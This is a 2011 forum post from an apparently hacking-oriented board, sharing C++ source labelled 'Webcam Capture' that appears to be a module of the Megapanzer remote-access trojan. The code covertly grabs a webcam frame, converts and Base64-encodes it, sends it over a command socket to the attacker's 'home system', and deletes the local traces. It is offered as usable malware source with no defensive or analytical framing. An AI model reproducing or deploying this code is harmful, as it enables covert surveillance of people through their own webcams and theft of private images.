User
Pass
2FA
 
 

[C++]Webcam Capture

 
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    Freakz Forum Index -> Trash Bin -> Trash -> Programming / Scripting / Database
Author Message1096
slacker

[Mentally Stable]



Status: Offline
(since 08-07-2011 08:29)
Joined: 05 Jul 2011
Posts: 48, Topics: 7
Location: Romania

Reputation: 49.1
Votes: 3

Post Posted: 06-07-2011, 19:34:51 | Translate post to: ... (Click for more languages)

Code:
#include <stdio.h>
#include <windows.h>
#include <Vfw.h>
#include "Megapanzer_Definitions.h"

extern HWND gWND;

DWORD WINAPI sendWebcamCaptureInfos(PVOID pParameter)
{
  HWND lWndVideoHandle;
  CAPSTATUS lCapStat;
  DWORD lRetVal = 0;
  char *lBMPFileName = "info.bmp";
  char *lJPGFileName = "info.jpg";
  char lJPGFileBaseName[MAX_BUF_SIZE + 1];
  HANDLE lFileHandle = INVALID_HANDLE_VALUE;
  DWORD lJPGFileSize = 0;
  char *lPreEncodedData = NULL;
  char *lEncodedData = NULL;
  DWORD lBytesRead = 0;
  char lTemp[MAX_BUF_SIZE + 1];
  int lFuncRetVal = 0;
  PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
  SYSTEMTIME lSystemTime;


  /*
   * initialize values
   */

  ZeroMemory(&lCapStat, sizeof(CAPSTATUS));
  ZeroMemory(&lSystemTime, sizeof(lSystemTime));
  ZeroMemory(lJPGFileBaseName, sizeof(lJPGFileBaseName));

  GetLocalTime(&lSystemTime);
  snprintf(lJPGFileBaseName, sizeof(lJPGFileBaseName) - 1, "%04d-%02d-%02d-%02d-%02d-%02d.jpg", lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);

  ZeroMemory(lTemp, sizeof(lTemp));
  _snprintf(lTemp, sizeof(lTemp) - 1, "<webcam>");
  lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);



  /*
   * capture webcam frame
   */


  Sleep(500);
  lWndVideoHandle = capCreateCaptureWindow("WebCam",WS_CHILD, 0, 0, 320, 240,(HWND) gWND, (int) 1);
  capDriverConnect(lWndVideoHandle, 0);
  Sleep(1000);
  capGetStatus(lWndVideoHandle, &lCapStat, sizeof(CAPSTATUS));
  capGrabFrame(lWndVideoHandle);
  capEditCopy(lWndVideoHandle);
  capFileSaveDIB(lWndVideoHandle, lBMPFileName) ;
  capDriverDisconnect(lWndVideoHandle) ;
  DestroyWindow(lWndVideoHandle);

  convertBMP2JPG(lBMPFileName, lJPGFileName);

  if ((lFileHandle = CreateFileA(lJPGFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
  {
    lJPGFileSize = GetFileSize(lFileHandle, 0);

    /*
     * encocd created jpg file
     */

    if ((lPreEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
    {
      ReadFile(lFileHandle, lPreEncodedData, lJPGFileSize, (unsigned long *) &lBytesRead, NULL);
      CloseHandle(lFileHandle);

      if ((lEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
      {

       /*
       * transfer picture data to home system
       */

        Base64encode(lEncodedData, lPreEncodedData, lBytesRead);

        ZeroMemory(lTemp, sizeof(lTemp));
        _snprintf(lTemp, sizeof(lTemp) - 1, "<filename>%s</filename><filecontent>", lJPGFileBaseName);
        lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

        lFuncRetVal = send(lCommandStructure->lRemoteSocket, lEncodedData, Base64encode_len(lBytesRead) - 1, 0);

        ZeroMemory(lTemp, sizeof(lTemp));
        _snprintf(lTemp, sizeof(lTemp) - 1, "</filecontent>");
        lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
      } // if ((lEncodedData = (char *) He...
    } // if ((lPreEncodedData = (char *) HeapAlloc(GetP...
  } // if ((lFileHandle = CreateFileA(lJPGFileFullPath,...

  ZeroMemory(lTemp, sizeof(lTemp));
  _snprintf(lTemp, sizeof(lTemp) - 1, "</webcam>");
  lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);


  /*
   * cleaning up before returning
   */

  DeleteFile("info.bmp");
  DeleteFile("info.jpg");


  return(lRetVal);
}

Sursa:www.info-hack.com

0 0
  
Back to top
View user's profile Send private message
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    Freakz Forum Index -> Trash Bin -> Trash -> Programming / Scripting / Database  


The time now is 01-12-2024, 22:49:01
Copyright info

Based on phpBB ro/com
B

 
 
 







I forgot my password


This message appears only once, so
like us now until it's too late ! :D
x